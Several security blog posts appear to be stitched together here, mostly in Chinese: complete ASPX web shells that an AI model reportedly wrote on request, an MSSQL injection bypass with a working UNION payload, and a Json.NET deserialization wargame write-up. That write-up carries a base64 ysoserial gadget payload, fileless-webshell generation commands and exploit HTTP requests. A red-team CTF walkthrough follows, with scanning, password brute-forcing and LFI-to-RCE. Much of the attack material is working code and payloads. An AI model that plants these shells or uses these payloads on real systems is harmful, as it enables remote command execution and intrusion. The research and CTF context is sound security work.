簡單，問問 Google 就行！或是更現代一點，問問 AI 就行。

於是我請 Gemini 幫我寫一個 ASPX 的 WebShell，而 Gemini 很快給了一段程式碼：

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        // 檢查是否有 'cmd' 參數
        string command = Request["cmd"];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write("<pre>");
            Response.Write("Executing command: " + Server.HtmlEncode(command) + "\n\n");
            
            try
            {
                // 1. 建立 ProcessStartInfo 物件
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "cmd.exe"; // Windows 命令解釋器
                psi.Arguments = "/c " + command; // 使用 /c 執行命令後退出
                psi.UseShellExecute = false; // 不使用作業系統 Shell
                psi.RedirectStandardOutput = true; // 重定向標準輸出
                psi.RedirectStandardError = true;  // 重定向標準錯誤
                psi.CreateNoWindow = true; // 不創建視窗

                // 2. 啟動程序
                using (Process process = Process.Start(psi))
                {
                    // 3. 讀取輸出
                    using (StreamReader reader = process.StandardOutput)
                    {
                        string output = reader.ReadToEnd();
                        Response.Write(Server.HtmlEncode(output));
                    }
                    using (StreamReader reader = process.StandardError)
                    {
                        string error = reader.ReadToEnd();
                        if (!string.IsNullOrEmpty(error))
                        {
                            Response.Write("\n--- ERROR ---\n");
                            Response.Write(Server.HtmlEncode(error));
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Response.Write("\n--- EXCEPTION ---\n");
                Response.Write(Server.HtmlEncode(ex.Message));
            }

            Response.Write("</pre>");
        }
        else
        {
            Response.Write("<h1>ASPX Basic Cmd Shell</h1>");
            Response.Write("Usage: ?cmd=[Your Command]");
        }
        
        Response.End();
    }
</script>

看起來寫得很完美，實測一下也真的可以用來執行指令。

非常簡單且實用，我也就習慣用著這樣的 WebShell 用了多年，但執行的指令種類多了，有時會遇到少數某些極端指令執行時間過長，或是 stdout 遲遲不肯結束讓 WebShell 卡住，導致超時被重設連線。

遇到這種時候我就想著：「加上 timeout 不就行了。」

於是再次出動 AI 大神，幫我加一個 timeout 機制：

讓我們看看程式碼，也就多了使用 WaitForExit 去等待 child process 結束，超時就 kill，簡單明瞭，看起來很完美。

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Text" %>
<script runat="server">

    // 設定逾時時間 (單位：毫秒) - 這裡設定為 10 秒
    private const int CommandTimeoutMs = 10000; 

    void Page_Load(object sender, EventArgs e)
    {
        string command = Request.QueryString["cmd"];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write("<pre>"); 
            
            try
            {
                Process p = new Process();
                p.StartInfo.FileName = "cmd.exe"; 
                p.StartInfo.Arguments = "/C " + command;
                
                // 設定 Process 屬性
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true; 
                
                p.Start();
                
                // ====== 【新增的 Timeout 邏輯】 ======
                // 使用帶有時間參數的 WaitForExit() 
                bool exited = p.WaitForExit(CommandTimeoutMs); 

                if (exited)
                {
                    // 命令在時間內完成
                    string output = p.StandardOutput.ReadToEnd();
                    string error = p.StandardError.ReadToEnd();
                    
                    if (!string.IsNullOrEmpty(output))
                    {
                        Response.Write("Command Output:\n" + output);
                    }
                    if (!string.IsNullOrEmpty(error))
                    {
                        Response.Write("Error Output:\n" + error);
                    }
                }
                else
                {
                    // 命令執行逾時
                    // 必須終止進程，否則它會繼續在後台運行
                    try
                    {
                        p.Kill(); 
                        Response.Write("TIMEOUT ERROR: Command execution exceeded " + CommandTimeoutMs / 1000 + " seconds and was terminated.");
                    }
                    catch (Exception killEx)
                    {
                        Response.Write("TIMEOUT ERROR: Command execution exceeded time limit, but failed to kill the process. Error: " + killEx.Message);
                    }
                }
                // ===================================
            }
            catch (Exception ex)
            {
                Response.Write("Execution Failed: " + ex.Message);
            }
            
            Response.Write("</pre>");
        }
        else
        {
            Response.Write("<h1>ASPX Command Shell (with 10s Timeout)</h1>");
            Response.Write("Usage: ?cmd=system_command_here");
        }
    }
</script>

直到我執行了 dir C:\windows\system32。

咦？怎麼加個 timeout 就不動了？

就這麼一個簡單的功能、簡單的問題，讓我摸不著頭緒，由於大部分時候也用不到這樣的功能，也就幾個極端案例，大不了換個指令用，我就沒繼續理會這個謎題。

但仍時不時就會疑惑，奇怪，我也不是第一次寫 C#，而且這個 WaitForExit 也很直覺，執行 whoami 什麼的都很正常，怎麼就 dir 偶爾會壞掉呢？

我就不信真的是我不會寫 C#！

直到某一天我再次碰上了這個問題，這次我總算決定放心思去解決它。

而我決定使用身為工程師掌握的最先進技術的秘密武器。

Google。

沒想到也有人跟我一樣遇到這個問題也摸不著頭緒：

來源: https://stackoverflow.com/questions/139593/processstartinfo-hanging-on-waitforexit-why

自己困擾自己許久的謎題終於被解開了，原來是因為在 StandardOutput 有啟用重新導向的情況下，child process 的輸出就會被放到 StandardOutput 的 buffer 之中，但這個 buffer 有上限，極有可能被塞滿，此時我們的主程序執行到 WaitForExit 等待 child process 的結束，沒有幫忙釋放 buffer 的空間，child process 就會因為無法寫入 StandardOutput 到 buffer 而遲遲無法 exit，形成 deadlock。

我打開 Process 的程式碼調查，也驗證了確實存在 buffer，這個 buffer 甚至只有 4,096 個 bytes，怪不得有時候 dir 會動，有時又突然不動了。

要修正這個問題很簡單，就是正確的使用非同步方式去讀取 StandardOutput，在同一篇 stackoverflow 文章就有給出相應的解決實作。

既然有人提過問題，也有人給出解法，想必 Gemini 也一定曾看過這篇文吧？那假如我能給對指示，應該也能讓它幫我解決，但我不知道要下什麼樣的指示，於是我就乾脆直接告訴它「執行 dir 會出現 timeout」：

然後它就知道原因了。

現在，我就想知道一件事，現在跟 AI 說謝謝還來得及嗎？

總之，參考一下 AI 給出的答案，不僅考慮了 StandardOutput 正確使用異步讀取，連 StandardError 也一併改為異步讀取了。

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Threading" %>
<script runat="server">
    // 設定逾時時間 (單位：毫秒) - 10 秒
    private const int CommandTimeoutMs = 10000; 
    
    // 用來安全收集輸出和錯誤的容器
    private StringBuilder outputBuilder = new StringBuilder();
    private StringBuilder errorBuilder = new StringBuilder();
    
    // 鎖定物件以確保線程安全
    private object lockObject = new object();

    // 標準輸出事件處理器
    void OutputHandler(object sender, DataReceivedEventArgs e)
    {
        if (!string.IsNullOrEmpty(e.Data))
        {
            // 在鎖定環境下寫入 StringBuilder
            lock (lockObject) 
            {
                outputBuilder.AppendLine(e.Data);
            }
        }
    }

    // 錯誤輸出事件處理器
    void ErrorHandler(object sender, DataReceivedEventArgs e)
    {
        if (!string.IsNullOrEmpty(e.Data))
        {
            lock (lockObject) 
            {
                errorBuilder.AppendLine(e.Data);
            }
        }
    }

    void Page_Load(object sender, EventArgs e)
    {
        string command = Request.QueryString["cmd"];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write("<pre>"); 
            
            try
            {
                Process p = new Process();
                p.StartInfo.FileName = "cmd.exe"; 
                p.StartInfo.Arguments = "/C " + command;
                
                // 必須設定 UseShellExecute=false 才能重定向輸出
                p.StartInfo.UseShellExecute = false; 
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true; 
                p.EnableRaisingEvents = true; // 允許 Process 事件被觸發
                
                // 註冊非同步輸出事件處理器
                p.OutputDataReceived += new DataReceivedEventHandler(OutputHandler);
                p.ErrorDataReceived += new DataReceivedEventHandler(ErrorHandler);

                p.Start();
                
                // ====== 【關鍵步驟：開始非同步讀取】 ======
                p.BeginOutputReadLine();
                p.BeginErrorReadLine();
                // ===================================
                
                // 等待命令執行完成 (帶有 Timeout)
                bool exited = p.WaitForExit(CommandTimeoutMs); 

                // 停止非同步讀取
                p.CancelOutputRead();
                p.CancelErrorRead();
                
                if (exited)
                {
                    // 在安全鎖定下獲取最終結果
                    string output, error;
                    lock (lockObject)
                    {
                        output = outputBuilder.ToString();
                        error = errorBuilder.ToString();
                    }

                    if (!string.IsNullOrEmpty(output))
                    {
                        Response.Write("Command Output:\n" + output);
                    }
                    if (!string.IsNullOrEmpty(error))
                    {
                        Response.Write("Error Output:\n" + error);
                    }
                }
                else
                {
                    // 命令執行逾時
                    try
                    {
                        p.Kill(); 
                        Response.Write("TIMEOUT ERROR: Command execution exceeded " + CommandTimeoutMs / 1000 + " seconds and was terminated.");
                    }
                    catch (Exception killEx)
                    {
                        Response.Write("TIMEOUT ERROR: Command execution failed to kill process. Error: " + killEx.Message);
                    }
                }
            }
            catch (Exception ex)
            {
                Response.Write("Execution Failed: " + ex.Message);
            }
            
            Response.Write("</pre>");
        }
        else
        {
            Response.Write("<h1>ASPX Command Shell (Async & 10s Timeout)</h1>");
            Response.Write("Usage: ?cmd=system_command_here");
        }
    }
</script>

解開這個謎團的成因又參考了 AI 的程式碼後，我終於理解為什麼在最初沒有 timeout 版本的 WebShell 有時會有極端指令卡住，問題出在 StandardOutput 與 StandardError 讀取的這段程式碼上。

using (StreamReader reader = process.StandardOutput)
{
    string output = reader.ReadToEnd();
    Response.Write(Server.HtmlEncode(output));
}
using (StreamReader reader = process.StandardError)
{
    string error = reader.ReadToEnd();
    if (!string.IsNullOrEmpty(error))
    {
        Response.Write("\n--- ERROR ---\n");
        Response.Write(Server.HtmlEncode(error));
    }
}

不論是 StandardOutput 還是 StandardError 同樣都有 4,096 bytes 的 buffer 限制，如果 StandardError 先塞滿了，child process 就會先卡住，可是我們的主程序還在等它輸出完 StandardOutput 而不會去讀 StandardError，同樣造成了 deadlock。要在最初版本的 WebShell 中複現這個問題也很簡單，只要在指令上把 stdout 重導向到 stderr，也就是 dir C:\windows\system32 1>&2 就可以讓 WebShell timeout。

總結來說，在 C# / .NET 中要使用 System.Diagnostics.Process 以及 System.Diagnostics.ProcessStartInfo.RedirectStandardOutput = true 來讀取子程序的 StandardOutput 時，最正確方式是使用 System.Diagnostics.Process.OutputDataReceived 異步事件來讀取輸出，而處理 StandardError 時也亦同，搭配 WaitForExit 實作 timeout 機制時也必須使用異步讀取。

結論，原來我真的不會寫 C# 啊！

string sql = string.Format(
    "SELECT ReportsDB..{0}.* " +
    "FROM ReportsDB..{0} " + 
    "WHERE ReportsDB..{0}.Id = 1 "
, Request["table"]);
// ReportsDB doesn't exist

The first time I saw it, I thought it was just a simple SQL Injection that I could exploit as usual, I could be wrong. This code was found in a legacy API, there's actually no database called "ReportsDB" in that MSSQL server. If we try to inject stacked query, MSSQL will just respond error and won't execute the second query, because "ReportsDB" dosen't exist.

1> select ReportsDB..foobar; waitfor delay '00:00:03'; -- .*
2> go
Msg 4104, Level 16, State 1, Server 38edaa74cb29, Line 1
The multi-part identifier "ReportsDB..foobar" could not be bound.

Then I tried to use subquery to create a table called "ReportsDB" but got error again.

1> select ReportsDB..foobar from (select 1 as foobar) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.

"Invalid column name" is an interesting result, it means that MSSQL considers "ReportsDB..foobar" to be <table_name>.<column_name>.<something> instead of <database_name>.<schema_name>.<column_name>. The database_name is ReportsDB and column_name is an empty string now, the next question which I was thinking is that "Can I define a column_name with empty string using AS statement?". The answer is NO.

1> select ReportsDB..foobar from (select 1 as '') as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.

1> select ReportsDB..foobar from (select 1 as []) as ReportsDB;
2> go
Msg 1038, Level 15, State 4, Server 38edaa74cb29, Line 1
An object or column name is missing or empty. For SELECT INTO statements, verify each column has a name. For other statements, look for empty alias names. Aliases defined as "" or [] are not allowed. Change the alias to a valid name.

I also tried to create a column called ".foobar", which is a valid column name, but MSSQL never considers that the second dot of "ReportsDB..foobar" is the part of the column name.

1> select ReportsDB..foobar from (select 1 as [.foobar]) as ReportsDB;
2> go
Msg 207, Level 16, State 1, Server 38edaa74cb29, Line 1
Invalid column name ''.

It seems to end, but it can't be, can it?

Space Trimming to the Rescue

In MSSQL, trailing whitespace is valid when defining column names, and it does work if the statement of SELECT uses a column name that contains trailing whitespace.

1> select [ReportsDB].[a ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

But what if without whitespace in the first SELECT? It still works ..

1> select [ReportsDB].[a] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

Even more whitespaces.

1> select [ReportsDB].[a     ] from (select 1 as [a ]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

1> select [ReportsDB].[a     ] from (select 1 as [a]) as ReportsDB;
2> go
a
-----------
          1

(1 rows affected)

Apparently, MSSQL does some kind of trimming for whitespace when processing column names. So what if you just use a single whitespace as the column name? The answer is "It still works".

1> select [ReportsDB].[ ] from (select 1 as [ ]) as ReportsDB;
2> go

-----------
          1

(1 rows affected)

MSSQL obviously does not allow you to use empty string in the [] expression in the SELECT statement. But wait a minute, do you remember what the SQL for the injection point looked like?

Well..

1> select ReportsDB..foobar from (select 1 as [ ]) as ReportsDB;
2> go
Msg 258, Level 15, State 1, Server 38edaa74cb29, Line 1
Cannot call methods on int.

IT WORKS..

MSSQL accepts empty string as column name with .. syntax. What's happening is that MSSQL considers ReportsDB. (empty string as column name) to be a valid field, 1 to be the value of this field, and int to be the date type of the field. It tried to look for a property named foobar under int data type but coudn't find it. The column name in the first SELECT is defined as an empty string, the column name in the subquery is defined as a whitespace, and MSSQL does some kind of whitespace trimming to assume that the two column names are the same, so it ends up working.

How do we define the property of a data type in SELECT?

In fact, we don't need to do this at all, why not just use existing objects in MSSQL? So I randomly chose a data type called geometry which has a lots of properies such as STY. In short, I constructed a SQL like the one below, and it worked perfectly!

1> select ReportsDB..STY from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB;
2> go

------------------------
                     0.0

(1 rows affected)

Finally, I managed to exploit this SQL Injection with a payload similar to the one below. What's even better is that it's UNION based.

?table=STY as id, @@version as data from (select geometry::STGeomFromText('POINT(0 0)',0) as [ ]) as ReportsDB --  

That's the short story I came across. MSSQL's T-SQL is very powerful, and there are probably more simple ways to exploit it, so it's always worth a try.

這次準備的題目分別是 What's my IP、Submit flag 和 My todolist。第一個題目 What's my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題，只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition，是一個老梗但也是滲透測試中經常被忽略的細節，為了提高成功率從而避免讓參加者浪費太多時間，我特地在中間插入不必要的 sleep，雖然可能讓題目變得過於簡單，希望至少能提醒大家回想起還存在這種弱點就太好了。

最後一個題目也是本篇文章想要和大家分享的主題：My todolist。從結論而言，這是一個簡單的 Json.NET 反序列化漏洞的白箱題目，存在漏洞的位置是在程式碼 Extensions/WebExtension.cs 的第 20 行，但我想稍微和大家分享題目的由來。

題目起源於我曾經在某些程式中看過類似以下的 Deep Copy 實作：

public static T Clone<T>(this T source) {
    JsonSerializerSettings settings = new JsonSerializerSettings() {
        TypeNameHandling = TypeNameHandling.All
    };
    return (T) JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);
}

我們都知道當 DeserializeObject 的來源字串可以控制並且開啟 TypeNameHandling 時，我們可以輕易利用反序列化能初始化任意物件的特性執行任意程式碼或系統指令，然而在 Deep Clone 的使用情境下，來源字串是 SerializeObject 的輸出結果，這代表著任何標記物件名稱的 $type 屬性也是由 Json.NET 所控制而非由我們控制，所以這表示這段程式碼應該是無法被利用的才對，除非，若我們可以覆蓋 $type 屬性的話呢？

這個疑問勾起了我的好奇心，因此讓我決定進行一些嘗試，當我嘗試用以下程式碼序列化一個 Dictionary 物件時，我得到了一個有趣的結果。

 Dictionary<string, string> source = new Dictionary<string, string>();
 source.Add("key", "value");
 JsonSerializerSettings settings = new JsonSerializerSettings() {
     TypeNameHandling = TypeNameHandling.All
 };
 string result = JsonConvert.SerializeObject(source, settings);

結果：

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "key": "value"
}

當我們序列化 Dictionary 時，我們所插入的任何 key 和 value 的 pair 都和 $type 屬性值在同一個層級，那假設我們 Dictionary 內含有值為 "$type" 的 key 時，會發生什麼事情？

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

會得到一個例外錯誤：

> Newtonsoft.Json.JsonSerializationException: 'Type specified in JSON 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' is not compatible with 'System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'. Path '$type', line 1, position 236.'

若建立 debug 斷點將 JsonConvert.SerializeObject 的結果字串印出來會得到：

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
}

其實從這段錯誤訊息就可以猜測出大致出錯的可能性，如果再稍微追入程式碼就會發現，我們設定的第二個 $type 確實成功讓 Json.NET 嘗試去覆蓋第一個 $type 指定的物件類型，但 Json.NET 在這段的處理會檢查第二個物件類型是否能夠相容於第一個物件類型，也就是檢查是否 assignable，若我們能找到某個類 Dictionary 物件可以成為 gadget 的話，這段程式碼也許將成為 exploitable。

但要挖掘新的 gadget 十分困難，而且就算找到了，要作為 Wargame 題目也可能過於刁難，所以我這邊找到了一種變種情境，雖然是不常見的設定，但我覺得作為一道題目情境的話會非常有趣。

這個題目情境的關鍵是 MetadataPropertyHandling.ReadAhead 這個設定值，當提供給 JsonConvert.DeserializeObject 的 JsonSerializerSettings 中有包含 MetadataPropertyHandling.ReadAhead 時，它會假設 $type 不是在第一個屬性值的位置，這會導致 Json.NET 先嘗試從頭到尾把 JSON 解析完並找出 $type 後才開始建立物件，在此情境下也會讓我們注入的第二個 $type 直接覆蓋第一個 $type 的值，所以假如程式碼改寫為如下的程式碼時，這個 Clone function 將會變得 exploitable。

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("you control the key", "you control the value");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

我們可以來實際利用一個 gadget 進行 code execution 測試，這邊我使用 ysoserial.net 產生 RolePrincipal gadget 的 payload ( ysoserial.exe -g RolePrincipal -f Json.Net -c calc )，因為這個 gadget 只需要控制 JSON 一層的字串就可以執行指令，題目情境相對容易建構。

測試執行：

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
source.Add("System.Security.ClaimsPrincipal.Identities", "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

嘗試執行以上程式碼後，成功彈出計算機！

既然驗證此設定是可以 exploit 的，剩下就是包裝一個應用程式的情境，而最終趕出的成品就是 My todolist 這道題目。

理論上直接使用 RolePrincipal 就能執行系統指令了，只是這個 exploit 執行後不會有任何指令回顯，而我們還需要嘗試找到並讀取 flag，為了後續更便利操作，我們可以嘗試將漏洞轉換成 web shell，詳細可以參考我的另一篇文章「玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門！」，但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行，但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話，會發現 help 訊息中多了一個新的參數 --bgc。

--bgc, --bridgedgadgetchains=VALUE
    Chain of bridged gadgets separated by comma (,). 
      Each gadget will be used to complete the next 
      bridge gadget. The last one will be used in the 
      requested gadget. This will be ignored when 
      using the searchformatter argument.

沒錯，為這個專案貢獻的研究者們成功找到 gadget chain 實現將 Json.NET 等需要 setter 類型的 gadget 的 formatter 轉換成 BinaryFormatter 的二次反序列化，從而可以執行更多的 gadget，其中當然就包括  ActivitySurrogateDisableTypeCheck 和 ActivitySurrogateSelectorFromFile 這兩個最重要的 gadget，我們也因此可以再次使用這個功能實現反序列化攻擊到 fileless webshell 的 exploit！

產生 payload 的指令：

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1
 
ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"
 

最後題目只要在正常註冊後隨便新增一個 note 進行修改，再分別對兩個 payload 執行一次類似下面的請求，就可以達成有回顯的 RCE 了！

Request 1:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=$type&value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a

Request 2:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=System.Security.ClaimsPrincipal.Identities&value=<payload>

Request 3:

POST /Api/MyProfile HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Cookie: <session>

cmd=whoami

此篇文章同時發表於：DEVCORE Blog

題目總共 4 把 flag，每一個 flag 其實都有對應階段的任務目標，完成後就會有權限拿到一把 flag：

1. PathNotFound local.txt
   • 從外網在 Linux 主機上找到 Initial Access
2. PathNotFound proof.txt
   • 在 Liunx 主機上 Privilege Escalation
3. Old-ButGold proof.txt
   • 從 Linux 主機作 Lateral Movement 移動到內網的 Windows 10 主機
4. DC-Final proof.txt
   • 在 Windows 10 主機作 Post-Exploitation 到取得 Windows Server (DC) 的權限

1. PathNotFound local.txt

題目有要求我們先自行在 /etc/hosts 設定 www.pathnotfound.hitcon 虛構網域指到對應的題目主機 IP，設定完就可以先使用起手式 nmap 掃描 port。

$ nmap -sT -sV -Pn -v www.pathnotfound.hitcon
Discovered open port 8080/tcp on www.pathnotfound.hitcon
Discovered open port 80/tcp on www.pathnotfound.hitcon
Discovered open port 3306/tcp on www.pathnotfound.hitcon

掃了許久，發現開啟的 port 有夠少，但至少有 web 服務可以讓身為 web 狗的我享用，於是迫不及待地在瀏覽器開啟網頁：

這主機也太脆弱了吧！才掃一下就撐不住了，好吧，我就先逛一下 twitter 等他復活，於是：

What the ..，原來掛的不是他主機，是我的手機網路。

借助小精靈的力量，我取得了 +9 高級網路，終於可以開始看題了，這次掃出了更多的 port，還有疑似有已知弱點的 548 port 的 Netatalk 服務，但現成 exploit 打下去沒有反應，不愧是挑戰，果然沒有這麼簡單，此時題目敘述發出了更新：

OK。

回到 80 port 服務，發現是安裝在 Apache 伺服器上的 WordPress。

於是先掏出 wpscan 神器開始背景掃描，用了以下指令開掃，可惜沒有發現特別的 plugin，使用者也只有 admin 一組帳號。

# 列舉使用者
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --enumerate u

# 掃描安裝的 plugin
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --plugins-detection aggressive --enumerate p

既然如此，就用弱密碼字典檔進行暴力破解試試。

wpscan -U admin -P 10-million-password-list-top-10000.txt --url http://www.pathnotfound.hitcon/ --rua --password-attack xmlrpc

為了不浪費時間，連目錄也一起掃了！

dirsearch -u http://www.pathnotfound.hitcon/ -w combined_directories.txt

過了好一陣子都沒有什麼進展，看起來運氣不是很好，此時想起不是還有個 8080 嗎？馬上來看一下

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 10918
Connection: close

明明是 Nginx 伺服器，出現的卻是 Apache 的預設頁面！？

根據我精湛的推理，或許題目設計是將 Nginx 的根目錄指到 /var/www/html，而 Apache 的 WordPress 可能是安裝在其下的子資料夾 /var/www/html/xxxx？或許 Nginx 沒有設定 php-fpm？或許我只要找到正確的路徑就可以直接讀到 wp-config.php 檔案內容？或許 virtual host 藏有其他服務？總之先猜再說。於是我猜呀猜、也掃呀掃，但都沒有任何發現，no luck QQ。

$ curl -I http://www.pathnotfound.hitcon:8080/www.pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/www
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/wordpress
HTTP/1.1 404 Not Found
...

$ curl -I -H 'Host: www.pathnotfound.hitcon' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H 'Host: pathnotfound.hitcon' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H 'Host: localhost' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
...

這樣漫無目的通靈下去似乎也不是辦法，於是決定去攤位找作者聊天，既然題目招牌寫著 Red Team，社交一下也是合情合理的吧。

於是得到了來自作者的暖心提示：「第一題只有 80 可打，而 WordPress 沒洞，不過其實還藏有其他服務」

OK，懂了。

召喚 Intruder 與 subdomains-top1million-5000.txt 字典檔開始掃 virtual host，稍等片刻後，賓果！所言果真不假。

直接拿 ExploitDB 的已知漏洞 Cuppa CMS - Local File Inclusion 開打。

可惜現代版本的 PHP 不太可能開 allow_url_include，好在這並不會影響我們，多虧 CTFer 們的黑魔法科技，一行 php:// wrapper 咒語讓 LFI 直接變身成 RCE。

Reference: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

順帶一提，賽後和作者聊天時得知，預期解其實是要讀帳密後登 MySQL 改 WordPress 管理員密碼，再用 theme editor 寫 webshell 等很多個步驟，則是另外一個故事了。

總之終於得到第 1 把 flag，遊戲終於才算是正式開始。

$ cat /home/meow/local.txt
NTUST-ISC{0m9_Y0u_FiNd_7H3_rI9h7_P47h}

2. PathNotFound proof.txt

